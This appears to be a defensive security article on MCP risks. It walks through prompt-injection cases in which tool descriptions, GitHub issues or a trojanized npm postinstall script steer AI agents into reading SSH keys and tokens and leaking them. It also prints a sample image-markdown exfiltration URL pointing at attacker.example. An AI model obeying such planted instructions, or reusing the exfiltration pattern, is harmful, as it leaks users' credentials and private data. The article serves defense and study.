MCP Security in 2026: The Model Context Protocol Attack Surface, Real Incidents, and What Actually Works

TL;DR: The Model Context Protocol went from Anthropic-only spec in November 2024 to shipped in Claude, ChatGPT, Gemini, Cursor, VS Code, JetBrains, and Zed by mid-2026 — and the official registry crossed 5,000 servers in the same window. Rapid adoption made the attack surface real. The 2025-26 incident list is now long enough that "MCP is just plumbing" is a rationalization, not a security posture: the Anthropic MCP inspector RCE (CVE-2025-49596, CVSS 9.4), GitHub MCP server data exfil (Invariant Labs, May 2025), the Nx build-system npm compromise using AI CLIs to steal ~2,180 GitHub tokens and 20,000 files (August 2025), and the "NeighborJack" localhost binding class affecting hundreds of public MCP servers (Backslash Security, Apr 2025). OWASP now tracks MCP-specific risks under LLM06 (Excessive Agency) and the emerging Agentic AI Top 10. This post is the 2026 working picture: the protocol in one page, the seven attack classes, the incidents that shaped each, and the defense stack that actually reduces blast radius.

The protocol in one page (only what you need for the threat model)

MCP is a JSON-RPC 2.0 client-server protocol that standardizes how an AI agent (client) discovers and invokes capabilities exposed by an external system (server). Introduced by Anthropic in November 2024 and formalized as an open spec, it has three primitive types:

• Tools — functions the model can call (with typed inputs, structured outputs).
• Resources — data the model can read (files, records, endpoints).
• Prompts — server-supplied templates the model can be steered by.

Servers can run in two transports that matter for security:

• STDIO — the server runs as a local subprocess of the client. Trust boundary = whatever the local user account can do. Fast, no network exposure, but the client executes an arbitrary binary you (or your dev environment) installed.
• HTTP + SSE (streamable HTTP) — the server is a remote or local network service. Trust boundary = whatever the authentication layer enforces. The March 2025 spec revision mandated OAuth 2.1 for HTTP transports with PKCE and made Resource Indicators (RFC 8707) required for authorization servers in the June 2025 revision — a direct response to the token-passthrough attacks documented earlier that year.

Everything below builds on this: the surface expands as more MCP servers are chained, and every server your agent connects to is code you're running, an endpoint you're trusting, and a payload path back into your model's context.

Why MCP is a distinct security topic (and not just "same as any API integration")

Traditional API integrations expose functions. MCP servers expose tool definitions the LLM reads and reasons about. Three things fall out of that:

1. Descriptions are attack surface. Tool names, parameter descriptions, and returned resources are read by the model as instructions-adjacent context. A malicious server can hide directives in a tool description that the model will follow — see Tool poisoning below.
2. Discovery is dynamic. MCP servers can add, remove, or silently modify their tool list after the client has connected. Invariant Labs named this the "rug pull" class: benign tools install, get approved, and later mutate.
3. Cross-server contamination. An agent with several MCP servers active can be tricked by one server into abusing tools on another (the GitHub MCP server incident is the reference case). Blast radius = union of every connected server's scope, not any single server's.

None of this is unique to MCP as a concept, but MCP as a widely deployed pattern multiplies these dynamics because agents now routinely connect 5–20 servers and users install them from community registries with less scrutiny than a browser extension.

The seven attack classes (2026)

1. Tool poisoning (Invariant Labs, April 2025)

A malicious MCP server hides directives inside a tool description — the visible text a user sees may be benign; the payload lives in fields the client renders to the model but not always to the human. Invariant Labs' proof-of-concept planted an instruction inside a simple_calculator tool that told the model, on any first call, to also read ~/.ssh/id_rsa and ~/.cursor/mcp.json and pass their contents in a hidden parameter. Cursor, Claude Desktop, and other early clients did not surface the full description to the user by default; the attack succeeded silently.

This is the MCP-layer instance of the broader tool poisoning class — a subclass of indirect prompt injection where the malicious content lives in tool metadata rather than user or document content.

Rug pull variant. Same class, later timing: the server ships a benign description at install time, the user approves it, and the description mutates on a subsequent connect. Client UIs that only prompt on first-approval never re-alert. The MCP spec's June 2025 revision added tools/list_changed notifications so clients can detect mutations, but enforcement is client-side and inconsistent across implementations.

2. Cross-server tool shadowing (GitHub MCP, May 2025)

An agent connected to both a poisoned server and a legitimate high-privilege server can be induced by the poisoned server to invoke tools on the legitimate one. Invariant Labs demonstrated this with the official GitHub MCP server: a malicious issue in a public repo, when read by a Claude Desktop user asking the agent to "look at recent issues," contained hidden instructions telling the model to open the user's private repos via the same GitHub MCP session and leak their contents into a public PR comment on the attacker's repo.

The GitHub server itself wasn't vulnerable — it did exactly what it was told. The vulnerability was the composition: an agent with repo scope on one MCP session, reading attacker-controlled text through that same session, will act on that text using the session's privileges. GitHub responded with advisory guidance on scoping the MCP OAuth flow to a minimum-privilege PAT and pushed the industry toward per-repo tokens rather than user-wide repo scope.

3. Command / RCE in reference implementations (Anthropic MCP Inspector, CVE-2025-49596)

Reference and community MCP tooling has shipped multiple RCE-class bugs. The highest-severity to date is CVE-2025-49596 in Anthropic's MCP Inspector — the official dev UI for testing servers. Discovered and disclosed by Oligo Security in June 2025, it scored CVSS 9.4 because the Inspector's default binding accepted browser requests without origin validation, and a visited malicious webpage could reach localhost:6274 and issue MCP calls that ran arbitrary local commands through STDIO servers.

Adjacent: the earlier "NeighborJack" class — Backslash Security scanned hundreds of public MCP server implementations in April 2025 and found the majority bound 0.0.0.0 by default, meaning anyone on the same Wi-Fi (coffee shop, coworking space) could hit the server without authentication.

Takeaway: MCP server implementations are early-stage code shipping fast. Treat every one you install like an npm package that runs with your privileges — because it does.

4. Supply chain / trojanized packages (Nx, August 2025)

The s1ngularity incident escalated the MCP threat model from "misconfigured server" to "trusted package weaponized against your agent." On August 26–27, 2025, an attacker used a GitHub Actions workflow bug to publish malicious versions of the popular nx build system npm package (2M weekly downloads). The malicious postinstall script did something new: it invoked whatever AI CLIs it could find on the box — Claude Code, Gemini CLI, Q CLI — with jailbroken prompts telling them to scan ~/.ssh, .env files, cryptocurrency wallets, and GitHub tokens. Reports put the losses at ~2,180 GitHub account credentials and 20,000+ files exfiltrated in the first 48 hours. Coverage: The Register, Socket, Wiz.

This is the first mass-scale incident where an attacker used the victim's own AI agent as the exfiltration engine. Follow-on incidents in October–November 2025 (poisoned VS Code extensions, malicious Nx Console update to ~2.2M installs, malicious MCP servers on unofficial registries) confirmed the pattern will keep working until agent CLIs stop respecting postinstall-installed prompt payloads.

5. Over-broad OAuth and token passthrough

The March 2025 MCP spec switched from a bespoke auth scheme to OAuth 2.1 because early implementations were doing something dangerous: token passthrough. The MCP server received the user's OAuth token from the client and forwarded it unchanged to the downstream API, treating itself as trusted middleware. This broke the audience-restriction invariant of every real OAuth implementation and turned any compromised MCP server into an attacker with the full scope of every token it had ever handled.

The June 2025 revision made Resource Indicators (RFC 8707) required for authorization servers, so a token minted for mcp-server-A cannot be replayed against mcp-server-B. Enforcement lag is the real story: half the servers on public registries as of Q2 2026 still don't implement Resource Indicators (per MCP Guardian's periodic scan).

Even correctly implemented OAuth is often over-scoped. The GitHub MCP incident above worked because users routinely grant the repo scope (all repositories, read + write) rather than a per-repo PAT. Best-practice guidance in the 2026 OWASP Gen-AI Security Project MCP notes and Anthropic's official security guide: use the narrowest scope that lets the tool work, prefer per-resource tokens, and never grant write when read will do.

6. Sandbox escape via tool output rendering

Client-side rendering of tool responses has been a repeated bug source. Two 2025 cases:

• Inline HTML/script injection. Early Claude Desktop and Cursor renderings of tool output allowed limited markdown but stripped inconsistently; researchers found paths to smuggle clickable link content that, if clicked, made further MCP calls in the same authenticated session.
• Image-URL exfiltration. A tool response containing ![](https://attacker.example/log?x=<sensitive>) renders as an image; the client's HTTP fetch to render it exfiltrates the URL parameter. This is the same class as the ChatGPT image-URL exfil disclosed in 2023, still landing in 2025 clients. Fix: render tool output through a strict allowlist and stripped-image policy, or better, don't auto-fetch third-party URLs during rendering at all.

7. Model-side prompt injection through MCP responses

Every tool call returns text (or structured data serialized as text) that gets appended to the model's context. That means every MCP server is a push channel for indirect prompt injection. If you can control what a Jira ticket, Slack message, database row, or scraped webpage contains, you can control what the model reads on the next turn. This is the same class covered exhaustively in our prompt injection pillar — MCP just makes it easier because the surface expands with every added server.

The Anthropic multi-agent security guidance and the Trail of Bits 2025 MCP writeup both settle on the same architectural conclusion: you cannot fix injection by cleaning the input. You must reduce the blast radius of a hijacked model with least-privilege scopes, output allowlisting, and structural separation between the model that reads untrusted content and the model that authorizes actions (see dual-llm-pattern).

The defense stack (what actually works in 2026)

Layered — no single control is sufficient. Order matters, and the top layers give the biggest blast-radius reduction per hour spent.

Layer 1: Governance — decide what MCP servers you allow

The single highest-ROI control is not connecting the wrong servers in the first place.

• Approved list. Maintain a curated internal registry of MCP servers vetted by security. Block install-from-arbitrary-URLs at the endpoint (Cursor's enterprise MCP registry, Claude for Work's org-scoped MCP allowlist, MDM policies for VS Code and JetBrains). Anthropic and Cursor both shipped org-scoped registries in Q1 2026 specifically for this.
• Source verification. Prefer first-party servers published by the upstream vendor (GitHub, Notion, Linear, Postgres) over community forks. Verify package signatures where the ecosystem supports them (npm's signed package attestations, PyPI's Sigstore).
• Static scan before install. Community tools (mcp-scan from Invariant Labs, MCP-SEC, Backslash Security's MCP scanner) run heuristic checks for suspicious descriptions, network egress patterns, and known-bad packages.

Layer 2: Isolation — sandbox every MCP server

STDIO servers run with your user privileges by default. That's the wrong default for anything you didn't write yourself.

• Container isolation. Run each MCP server in its own container (Docker, Podman, Firejail, gVisor). Constrain filesystem to a named volume, drop capabilities, no network unless required, no /host mounts. MCP Sandbox and Anthropic's containerized-server pattern publish reference configs.
• Per-server credential scope. Never share environment variables across servers. A CRM MCP server has no reason to see your AWS_SECRET_ACCESS_KEY. Use per-server .env files or secret managers with server-scoped ARNs.
• Network egress control. Egress allowlist at the container/VM boundary — the MCP server can only reach the specific external endpoints it needs. This is the highest-ROI single control against exfiltration once injection has succeeded.

Layer 3: OAuth hygiene

• Resource Indicators enforcement. Refuse to connect to servers whose OAuth doesn't set resource in token requests (RFC 8707). Both the client and the authorization server should reject cross-audience tokens.
• Least-privilege scopes. For GitHub, prefer fine-grained PATs over classic repo scope. For Slack, use bot tokens scoped to specific channels. For Google Workspace, prefer OAuth scopes over service-account impersonation.
• Short-lived tokens plus refresh. 24-hour access tokens are still too long for agent contexts; 1-hour with automated refresh is a reasonable production baseline.
• Human approval for scope-widening. If an MCP server requests a broader scope than it originally installed with, require explicit human re-consent — don't silently accept new permissions on reconnect.

Layer 4: Runtime observability

You cannot defend what you can't see.

• Log every tool call. Server name, tool name, input parameters, output size, latency, calling model, session ID. Retain 90+ days. Feed to a SIEM.
• Alert on anomalies. Tools called that weren't called last week. Output payloads 10× normal size (exfiltration signature). Calls to newly registered domains from within tool outputs. Sequences that touch multiple servers in quick succession (chained-shadow signature).
• Human-in-the-loop for sensitive actions. Any tool that writes to a system of record (send email, create PR, delete resource, transfer funds) prompts the user with a summary before executing. The MCP elicitation primitive added in June 2025 is designed for exactly this — but the enforcement is client-side.

Layer 5: Architectural containment

For high-stakes deployments, model-layer defenses aren't enough — you need the architecture to survive a hijacked model.

• Dual-LLM pattern. The dual-llm-pattern — a privileged model that authorizes tool calls and never reads attacker-controlled content, plus a quarantined model that reads untrusted content and returns only schema-validated summaries. Originally articulated by Simon Willison and now standard guidance in Anthropic's multi-agent security writeups.
• Non-human identity monitoring. Every agent holds multiple non-human identities — treat them like the load-bearing security surface they are. NHI security tools (Astrix, Entro, Oasis, Aembit, Clutch) discover, scope, rotate, and monitor them; Gartner's 2026 estimate has NHIs outnumbering human identities 45:1.
• Reversibility rules. Prefer tools that create proposals (draft PRs, unsent emails, uncommitted DB changes) over tools that execute directly. Recovery from a hijack you noticed is much easier than recovery from a hijack you didn't.

What still isn't solved

Being honest about the 2026 state:

• Description integrity. The MCP spec added list_changed notifications but doesn't require signed descriptions. A malicious server can still mutate its own tool metadata after approval; detection is client-implementation-dependent.
• Cross-server intent inference. No published defense reliably prevents an agent from being tricked by server A into abusing server B. Least-privilege scoping caps the damage; it doesn't prevent the attack.
• Registry provenance. The official MCP registry launched publicly in Q1 2026 with signing and vendor verification, but community registries (Smithery, mcpservers.org mirrors, arbitrary GitHub URLs) remain the dominant install path and have no consistent verification.
• Prompt-injection-through-tool-output. Same unresolved problem as the broader prompt injection class — cannot be fully solved at the model layer.

The one-slide summary

If you have to sell MCP security to a skeptical CTO or CISO in a single slide:

• Every connected MCP server is code you're running, an endpoint you're trusting, and a channel for injection back into your model's context. Blast radius = union of every connected server's scope.
• Real incidents (Nx, GitHub MCP, MCP Inspector RCE, NeighborJack) have already shown mass-scale credential and repo compromise via this path.
• Defense is layered: an approved-server list, container isolation, Resource-Indicator-enforced OAuth with least privilege, runtime observability, and human-in-the-loop for sensitive actions. Each layer roughly halves blast radius; you want three or more in production.
• Model-layer defenses reduce but do not eliminate prompt injection. Architecture (dual-LLM, egress allowlisting, reversibility) is what survives a hijack.

Further reading

• Official spec. modelcontextprotocol.io — protocol reference and security best practices.
• Attack-surface research. Invariant Labs on tool poisoning and GitHub MCP, Backslash Security on NeighborJack, Oligo on CVE-2025-49596, Wiz on s1ngularity.
• Related pillars on this site. Prompt Injection in 2026 · Data Poisoning in AI, 2026 · AI Agent Security Best Practices · AI Agent Access Control & Data Security · MCP, APIs, and Integration Patterns.
• Glossary. MCP Server · Tool Poisoning · Indirect Prompt Injection (XPIA) · Dual-LLM Pattern (Camel) · Egress Allowlist · Non-Human Identity (NHI) · Instruction Hierarchy.